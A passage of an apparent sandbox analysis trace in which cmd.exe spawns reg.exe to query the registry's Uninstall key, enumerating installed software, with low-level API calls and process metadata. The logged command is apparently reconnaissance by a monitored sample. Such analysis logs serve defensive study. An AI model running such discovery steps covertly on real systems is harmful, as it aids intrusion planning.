"c:\\windows\\system32\\reg.exe")) returned 0x20 [0148.865] _wcsicmp (_String1="reg.exe", _String2="DIR") returned 14 [0148.865] _wcsicmp (_String1="reg.exe", _String2="ERASE") returned 13 [0148.865] _wcsicmp (_String1="reg.exe", _String2="DEL") returned 14 [0148.865] _wcsicmp (_String1="reg.exe", _String2="TYPE") returned -2 [0148.865] _wcsicmp (_String1="reg.exe", _String2="COPY") returned 15 [0148.865] _wcsicmp (_String1="reg.exe", _String2="CD") returned 15 [0148.865] _wcsicmp (_String1="reg.exe", _String2="CHDIR") returned 15 [0148.865] _wcsicmp (_String1="reg.exe", _String2="RENAME") returned -7 [0148.865] _wcsicmp (_String1="reg.exe", _String2="REN") returned -7 [0148.865] _wcsicmp (_String1="reg.exe", _String2="ECHO") returned 13 [0148.865] _wcsicmp (_String1="reg.exe", _String2="SET") returned -1 [0148.865] _wcsicmp (_String1="reg.exe", _String2="PAUSE") returned 2 [0148.865] _wcsicmp (_String1="reg.exe", _String2="DATE") returned 14 [0148.866] _wcsicmp (_String1="reg.exe", _String2="TIME") returned -2 [0148.866] _wcsicmp (_String1="reg.exe", _String2="PROMPT") returned 2 [0148.866] _wcsicmp (_String1="reg.exe", _String2="MD") returned 5 [0148.866] _wcsicmp (_String1="reg.exe", _String2="MKDIR") returned 5 [0148.866] _wcsicmp (_String1="reg.exe", _String2="RD") returned 1 [0148.866] _wcsicmp (_String1="reg.exe", _String2="RMDIR") returned -8 [0148.866] _wcsicmp (_String1="reg.exe", _String2="PATH") returned 2 [0148.866] _wcsicmp (_String1="reg.exe", _String2="GOTO") returned 11 [0148.866] _wcsicmp (_String1="reg.exe", _String2="SHIFT") returned -1 [0148.866] _wcsicmp (_String1="reg.exe", _String2="CLS") returned 15 [0148.866] _wcsicmp (_String1="reg.exe", _String2="CALL") returned 15 [0148.866] _wcsicmp (_String1="reg.exe", _String2="VERIFY") returned -4 [0148.866] _wcsicmp (_String1="reg.exe", _String2="VER") returned -4 [0148.866] _wcsicmp (_String1="reg.exe", _String2="VOL") returned -4 [0148.866] _wcsicmp (_String1="reg.exe", _String2="EXIT") returned 13 [0148.866] _wcsicmp (_String1="reg.exe", _String2="SETLOCAL") returned -1 [0148.866] _wcsicmp (_String1="reg.exe", _String2="ENDLOCAL") returned 13 [0148.866] _wcsicmp (_String1="reg.exe", _String2="TITLE") returned -2 [0148.866] _wcsicmp (_String1="reg.exe", _String2="START") returned -1 [0148.866] _wcsicmp (_String1="reg.exe", _String2="DPATH") returned 14 [0148.866] _wcsicmp (_String1="reg.exe", _String2="KEYS") returned 7 [0148.866] _wcsicmp (_String1="reg.exe", _String2="MOVE") returned 5 [0148.866] _wcsicmp (_String1="reg.exe", _String2="PUSHD") returned 2 [0148.866] _wcsicmp (_String1="reg.exe", _String2="POPD") returned 2 [0148.866] _wcsicmp (_String1="reg.exe", _String2="ASSOC") returned 17 [0148.866] _wcsicmp (_String1="reg.exe", _String2="FTYPE") returned 12 [0148.866] _wcsicmp (_String1="reg.exe", _String2="BREAK") returned 16 [0148.866] _wcsicmp (_String1="reg.exe", _String2="COLOR") returned 15 [0148.866] _wcsicmp (_String1="reg.exe", _String2="MKLINK") returned 5 [0148.866] _wcsicmp (_String1="reg.exe", _String2="DIR") returned 14 [0148.866] _wcsicmp (_String1="reg.exe", _String2="ERASE") returned 13 [0148.866] _wcsicmp (_String1="reg.exe", _String2="DEL") returned 14 [0148.866] _wcsicmp (_String1="reg.exe", _String2="TYPE") returned -2 [0148.866] _wcsicmp (_String1="reg.exe", _String2="COPY") returned 15 [0148.866] _wcsicmp (_String1="reg.exe", _String2="CD") returned 15 [0148.866] _wcsicmp (_String1="reg.exe", _String2="CHDIR") returned 15 [0148.866] _wcsicmp (_String1="reg.exe", _String2="RENAME") returned -7 [0148.866] _wcsicmp (_String1="reg.exe", _String2="REN") returned -7 [0148.866] _wcsicmp (_String1="reg.exe", _String2="ECHO") returned 13 [0148.866] _wcsicmp (_String1="reg.exe", _String2="SET") returned -1 [0148.866] _wcsicmp (_String1="reg.exe", _String2="PAUSE") returned 2 [0148.866] _wcsicmp (_String1="reg.exe", _String2="DATE") returned 14 [0148.867] _wcsicmp (_String1="reg.exe", _String2="TIME") returned -2 [0148.867] _wcsicmp (_String1="reg.exe", _String2="PROMPT") returned 2 [0148.867] _wcsicmp (_String1="reg.exe", _String2="MD") returned 5 [0148.867] _wcsicmp (_String1="reg.exe", _String2="MKDIR") returned 5 [0148.867] _wcsicmp (_String1="reg.exe", _String2="RD") returned 1 [0148.867] _wcsicmp (_String1="reg.exe", _String2="RMDIR") returned -8 [0148.867] _wcsicmp (_String1="reg.exe", _String2="PATH") returned 2 [0148.867] _wcsicmp (_String1="reg.exe", _String2="GOTO") returned 11 [0148.867] _wcsicmp (_String1="reg.exe", _String2="SHIFT") returned -1 [0148.867] _wcsicmp (_String1="reg.exe", _String2="CLS") returned 15 [0148.867] _wcsicmp (_String1="reg.exe", _String2="CALL") returned 15 [0148.867] _wcsicmp (_String1="reg.exe", _String2="VERIFY") returned -4 [0148.867] _wcsicmp (_String1="reg.exe", _String2="VER") returned -4 [0148.867] _wcsicmp (_String1="reg.exe", _String2="VOL") returned -4 [0148.867] _wcsicmp (_String1="reg.exe", _String2="EXIT") returned 13 [0148.867] _wcsicmp (_String1="reg.exe", _String2="SETLOCAL") returned -1 [0148.867] _wcsicmp (_String1="reg.exe", _String2="ENDLOCAL") returned 13 [0148.867] _wcsicmp (_String1="reg.exe", _String2="TITLE") returned -2 [0148.867] _wcsicmp (_String1="reg.exe", _String2="START") returned -1 [0148.867] _wcsicmp (_String1="reg.exe", _String2="DPATH") returned 14 [0148.867] _wcsicmp (_String1="reg.exe", _String2="KEYS") returned 7 [0148.867] _wcsicmp (_String1="reg.exe", _String2="MOVE") returned 5 [0148.867] _wcsicmp (_String1="reg.exe", _String2="PUSHD") returned 2 [0148.867] _wcsicmp (_String1="reg.exe", _String2="POPD") returned 2 [0148.867] _wcsicmp (_String1="reg.exe", _String2="ASSOC") returned 17 [0148.867] _wcsicmp (_String1="reg.exe", _String2="FTYPE") returned 12 [0148.867] _wcsicmp (_String1="reg.exe", _String2="BREAK") returned 16 [0148.867] _wcsicmp (_String1="reg.exe", _String2="COLOR") returned 15 [0148.867] _wcsicmp (_String1="reg.exe", _String2="MKLINK") returned 5 [0148.867] _wcsicmp (_String1="reg.exe", _String2="FOR") returned 12 [0148.867] _wcsicmp (_String1="reg.exe", _String2="IF") returned 9 [0148.867] _wcsicmp (_String1="reg.exe", _String2="REM") returned -6 [0148.867] GetProcessHeap () returned 0x340000 [0148.867] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x218) returned 0x35bdd0 [0148.867] GetProcessHeap () returned 0x340000 [0148.867] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xc4) returned 0x35bff0 [0148.868] _wcsnicmp (_String1="reg.", _String2="cmd ", _MaxCount=0x4) returned 15 [0148.868] GetProcessHeap () returned 0x340000 [0148.868] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x420) returned 0x341320 [0148.868] SetErrorMode (uMode=0x0) returned 0x0 [0148.868] SetErrorMode (uMode=0x1) returned 0x0 [0148.868] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x341330, lpFilePart=0x19f150 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x19f150*="system32") returned 0x13 [0148.868] SetErrorMode (uMode=0x0) returned 0x1 [0148.868] GetProcessHeap () returned 0x340000 [0148.868] RtlReAllocateHeap (Heap=0x340000, Flags=0x0, Ptr=0x341320, Size=0x48) returned 0x341320 [0148.868] GetProcessHeap () returned 0x340000 [0148.868] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x341320) returned 0x48 [0148.868] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0148.868] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0148.868] GetProcessHeap () returned 0x340000 [0148.868] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x104) returned 0x35c0c0 [0148.868] GetProcessHeap () returned 0x340000 [0148.868] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x1f8) returned 0x341380 [0148.872] GetProcessHeap () returned 0x340000 [0148.872] RtlReAllocateHeap (Heap=0x340000, Flags=0x0, Ptr=0x341380, Size=0x106) returned 0x341380 [0148.872] GetProcessHeap () returned 0x340000 [0148.872] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x341380) returned 0x106 [0148.872] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9ef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0148.872] GetProcessHeap () returned 0x340000 [0148.872] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xe8) returned 0x3414a0 [0148.872] GetProcessHeap () returned 0x340000 [0148.872] RtlReAllocateHeap (Heap=0x340000, Flags=0x0, Ptr=0x3414a0, Size=0x7e) returned 0x3414a0 [0148.872] GetProcessHeap () returned 0x340000 [0148.872] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3414a0) returned 0x7e [0148.873] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0148.873] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.exe", fInfoLevelId=0x1, lpFindFileData=0x19eec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19eec0) returned 0x35c1d0 [0148.873] GetProcessHeap () returned 0x340000 [0148.873] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x28) returned 0x354720 [0148.873] FindClose (in: hFindFile=0x35c1d0 | out: hFindFile=0x35c1d0) returned 1 [0148.874] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0148.874] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0148.874] GetConsoleTitleW (in: lpConsoleTitle=0x19f410, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0148.874] InitializeProcThreadAttributeList (in: lpAttributeList=0x19f1c8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x19f188 | out: lpAttributeList=0x19f1c8, lpSize=0x19f188) returned 1 [0148.874] UpdateProcThreadAttribute (in: lpAttributeList=0x19f1c8, dwFlags=0x0, Attribute=0x60001, lpValue=0x19f178, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x19f1c8, lpPreviousValue=0x0) returned 1 [0148.874] GetStartupInfoW (in: lpStartupInfo=0x19f2e0 | out: lpStartupInfo=0x19f2e0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0148.874] GetProcessHeap () returned 0x340000 [0148.874] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x20) returned 0x354750 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.874] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0148.875] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0148.875] GetProcessHeap () returned 0x340000 [0148.875] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x354750 | out: hHeap=0x340000) returned 1 [0148.875] GetProcessHeap () returned 0x340000 [0148.875] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x12) returned 0x358a30 [0148.875] lstrcmpW (lpString1="\\reg.exe", lpString2="\\XCOPY.EXE") returned -1 [0148.877] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\reg.exe", lpCommandLine="reg.exe query \"HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x19f200*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="reg.exe query \"HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f1b0 | out: lpCommandLine="reg.exe query \"HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s ", lpProcessInformation=0x19f1b0*(hProcess=0x58, hThread=0x54, dwProcessId=0x910, dwThreadId=0x940)) returned 1 [0148.880] CloseHandle (hObject=0x54) returned 1 [0148.880] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0148.880] GetProcessHeap () returned 0x340000 [0148.880] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35ad30 | out: hHeap=0x340000) returned 1 [0148.880] GetEnvironmentStringsW () returned 0x35ad30* [0148.880] GetProcessHeap () returned 0x340000 [0148.880] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xac0) returned 0x36ada0 [0148.880] FreeEnvironmentStringsW (penv=0x35ad30) returned 1 [0148.880] WaitForSingleObject (hHandle=0x58, dwMilliseconds=0xffffffff) returned 0x0 [0151.343] GetExitCodeProcess (in: hProcess=0x58, lpExitCode=0x19f0f8 | out: lpExitCode=0x19f0f8*=0x0) returned 1 [0151.343] CloseHandle (hObject=0x58) returned 1 [0151.344] _vsnwprintf (in: _Buffer=0x19f368, _BufferCount=0x13, _Format="%08X", _ArgList=0x19f108 | out: _Buffer="00000000") returned 8 [0151.344] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0151.344] GetProcessHeap () returned 0x340000 [0151.344] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x36ada0 | out: hHeap=0x340000) returned 1 [0151.344] GetEnvironmentStringsW () returned 0x36ada0* [0151.344] GetProcessHeap () returned 0x340000 [0151.344] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xae6) returned 0x35c1d0 [0151.344] FreeEnvironmentStringsW (penv=0x36ada0) returned 1 [0151.344] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0151.344] GetProcessHeap () returned 0x340000 [0151.344] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35c1d0 | out: hHeap=0x340000) returned 1 [0151.344] GetEnvironmentStringsW () returned 0x36ada0* [0151.344] GetProcessHeap () returned 0x340000 [0151.344] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xae6) returned 0x35c1d0 [0151.344] FreeEnvironmentStringsW (penv=0x36ada0) returned 1 [0151.344] GetProcessHeap () returned 0x340000 [0151.344] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x358a30 | out: hHeap=0x340000) returned 1 [0151.344] DeleteProcThreadAttributeList (in: lpAttributeList=0x19f1c8 | out: lpAttributeList=0x19f1c8) [0151.344] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0151.346] _close (_FileHandle=3) returned 0 [0151.346] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.346] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0151.346] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.346] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a9ee194 | out: lpMode=0x4a9ee194) returned 1 [0151.346] _get_osfhandle (_FileHandle=0) returned 0x3 [0151.346] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a9ee198 | out: lpMode=0x4a9ee198) returned 1 [0151.346] SetConsoleInputExeNameW () returned 0x1 [0151.347] GetConsoleOutputCP () returned 0x1b5 [0151.347] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9fbfe0 | out: lpCPInfo=0x4a9fbfe0) returned 1 [0151.347] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0151.347] exit (_Code=0) Process: id = "43" image_name = "reg.exe" filename = "c:\\windows\\system32\\reg.exe" page_root = "0x7637d000" os_pid = "0x910" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x848" cmd_line = "reg.exe query \"HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s " cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 350 os_tid = 0x940 [0148.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x29fb10 | out: lpSystemTimeAsFileTime=0x29fb10*(dwLowDateTime=0xffd9af70, dwHighDateTime=0x1d51ed4)) [0148.922] GetCurrentProcessId () returned 0x910 [0148.922] GetCurrentThreadId () returned 0x940 [0148.922] GetTickCount () returned 0x311ea [0148.922] QueryPerformanceCounter (in: lpPerformanceCount=0x29fb18 | out: lpPerformanceCount=0x29fb18*=27344687101) returned 1 [0148.924] GetModuleHandleW (lpModuleName=0x0) returned 0xff570000 [0148.924] __set_app_type (_Type=0x1) [0148.924] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff5800d0) returned 0x0 [0148.924] __wgetmainargs (in: _Argc=0xff582140, _Argv=0xff582150, _Env=0xff582148, _DoWildCard=0, _StartInfo=0xff58215c | out: _Argc=0xff582140, _Argv=0xff582150, _Env=0xff582148) returned 0 [0148.924] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="query", cchCount1=-1, lpString2="QUERY", cchCount2=-1) returned 2 [0148.926] RegOpenKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x29fae8 | out: phkResult=0x29fae8*=0x0) returned 0x2 [0148.926] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="query", cchCount1=-1, lpString2="QUERY", cchCount2=-1) returned 2 [0148.926] lstrlenW (lpString="/?|-?|/h|-h") returned 11 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3db550 [0148.927] lstrlenW (lpString="") returned 0 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3db570 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5930 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3db590 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5960 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5990 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d59c0 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d59f0 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3db5b0 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5a20 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5a50 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5a80 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5ab0 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3db5d0 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5ae0 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5b10 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5b40 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.927] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5b70 [0148.927] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0148.927] GetProcessHeap () returned 0x3c0000 [0148.928] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3db5f0 [0148.928] _memicmp (_Buf1=0x3db5f0, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.928] GetProcessHeap () returned 0x3c0000 [0148.928] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1e) returned 0x3d5ba0 [0148.928] lstrlenW (lpString="HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 68 [0148.928] GetProcessHeap () returned 0x3c0000 [0148.928] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3db610 [0148.928] _memicmp (_Buf1=0x3db610, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.928] GetProcessHeap () returned 0x3c0000 [0148.928] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x90) returned 0x3db790 [0148.928] _vsnwprintf (in: _Buffer=0x3d5ba0, _BufferCount=0xe, _Format="|%s|", _ArgList=0x29f918 | out: _Buffer="|/?|-?|/h|-h|") returned 13 [0148.928] _vsnwprintf (in: _Buffer=0x3db790, _BufferCount=0x47, _Format="|%s|", _ArgList=0x29f918 | out: _Buffer="|HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall|") returned 70 [0148.928] lstrlenW (lpString="|/?|-?|/h|-h|") returned 13 [0148.928] lstrlenW (lpString="|HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall|") returned 70 [0148.928] SetLastError (dwErrCode=0x490) [0148.928] lstrlenW (lpString="HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 68 [0148.928] GetProcessHeap () returned 0x3c0000 [0148.928] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x8a) returned 0x3db830 [0148.928] lstrlenW (lpString="HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 68 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x4b) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0148.928] 